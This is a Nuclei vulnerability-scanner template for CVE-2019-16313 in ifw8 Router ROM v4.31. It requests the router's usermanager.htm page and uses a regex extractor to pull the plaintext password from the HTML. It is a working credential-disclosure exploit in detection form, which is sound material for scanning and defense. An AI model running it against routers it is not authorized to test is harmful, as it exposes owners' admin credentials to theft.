id: CVE-2019-16313

info:
  name: ifw8 Router ROM v4.31 - Credential Discovery
  author: pikpikcu
  severity: high
  description: ifw8 Router ROM v4.31 is vulnerable to credential disclosure via action/usermanager.htm HTML source code.
  impact: |
    An attacker can exploit this vulnerability to discover sensitive credentials.
  remediation: |
    Update the ifw8 Router ROM to a version that is not affected by CVE-2019-16313.
  reference:
    - https://github.com/Mr-xn/Penetration_Testing_POC/blob/master/CVE-2019-16313%20%E8%9C%82%E7%BD%91%E4%BA%92%E8%81%94%E4%BC%81%E4%B8%9A%E7%BA%A7%E8%B7%AF%E7%94%B1%E5%99%A8v4.31%E5%AF%86%E7%A0%81%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.md
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16313
    - http://www.iwantacve.cn/index.php/archives/311/
    - https://github.com/CnHack3r/Penetration_PoC
    - https://github.com/apachecn-archive/Middleware-Vulnerability-detection
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-16313
    cwe-id: CWE-798
    epss-score: 0.93999
    epss-percentile: 0.99896
    cpe: cpe:2.3:o:ifw8:fr6_firmware:4.31:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ifw8
    product: fr6_firmware
  tags: cve,cve2019,exposure,router,iot,ifw8,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/action/usermanager.htm'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '<td class="pwd" data="([a-z]+)">\*\*\*\*\*\*<\/td>'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - '<td class="pwd" data="([a-z]+)">\*\*\*\*\*\*<\/td>'
        part: body
# digest: 4a0a00473045022100fbd9092ef351c6afa3e1fc3fbfcd73e8749e88c240ac308152504d99729dceac02203c0a742c5d1c46750f31f1e6ccf90e2222c94fc77e859c6297e87481c69d6554:922c64590222798bb761d5b6d8e72950